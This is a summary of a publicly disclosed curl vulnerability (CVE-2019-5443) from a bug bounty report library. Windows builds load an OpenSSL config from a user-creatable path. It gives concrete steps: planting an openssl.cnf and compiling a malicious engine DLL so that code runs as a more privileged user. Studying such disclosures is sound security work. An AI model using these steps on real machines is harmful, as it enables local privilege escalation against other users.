# CVE-2019-5443: Windows Privilege Escalation: Malicious OpenSSL Engine

curl Windows binaries load openssl.cnf from world-writable c:\usr\local\ssl, letting a low-priv user plant a malicious OpenSSL engine DLL for code execution as any user running curl.

- Payout: hidden
- Severity: high
- Program: curl
- Found by: mirchr
- Disclosed: 2019-06-29
- CVE: CVE-2019-5443
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/608577
- Library page: https://bugbountylibrary.com/r/h1%3A608577
- Tags: area:os domain:desktop impact:privesc impact:rce kind:bounty platform:hackerone sev:high tech:windows technique:source-review vuln:privilege-escalation

**Target:** curl.exe Windows binary with OpenSSL (OPENSSLDIR config loading)
**Root cause:** The Windows build hardcodes OPENSSLDIR to c:\usr\local\ssl, a path low-privileged users can create; curl loads openssl.cnf from there, which can specify a dynamic engine library to load.
**Steps:**
1. As low-priv user: `mkdir c:\usr\local\ssl`
2. Write `openssl.cnf` with `openssl_conf = openssl_init`, `[openssl_init] engines = engine_section`, `[engine_section] woot = woot_section`, `[woot_section] engine_id = woot`, `dynamic_path = c:\\stage\\calc.dll`, `init = 0`
3. `mkdir c:\stage`
4. Compile malicious engine DLL (DllMain calls `system("calc")`) via `x86_64-w64-mingw32-g++ calc.c -o calc.dll -shared`
5. `copy calc.dll c:\stage`
6. Execute curl.exe as a different (higher-privileged) user; the DLL loads and runs code as that user
**How found:** Noticed the Windows build's OPENSSLDIR was set to c:\usr\local\ssl, a path creatable by unprivileged users on default Windows, and that curl loads openssl.cnf from it at startup.
**Exploitation:** Attacker with any local account creates the OPENSSLDIR path and drops a crafted openssl.cnf plus a malicious engine DLL; when a more privileged user runs curl, OpenSSL loads the engine and executes attacker code with that user's authority.
**Escalation:** Privilege escalation from low-priv local user to whatever account executes curl (e.g. admin/service).
**Insight:** On Windows, check whether binaries load config/DLLs from paths under c:\ that non-admins can create (c:\usr, c:\Program, etc.); a hardcoded Unix-style prefix on Windows is a writable search-path bug.

## Write-ups of the same bug (oldest first)
- 2019-06-29: [CVE-2019-5443: Windows Privilege Escalation: Malicious OpenSSL Engine](https://bugbountylibrary.com/r/h1%3A608577) — mirchr (this one)
- 2019-09-24: [Windows builds with insecure path defaults (CVE-2019-1552)](https://bugbountylibrary.com/r/h1%3A683318) — mirchr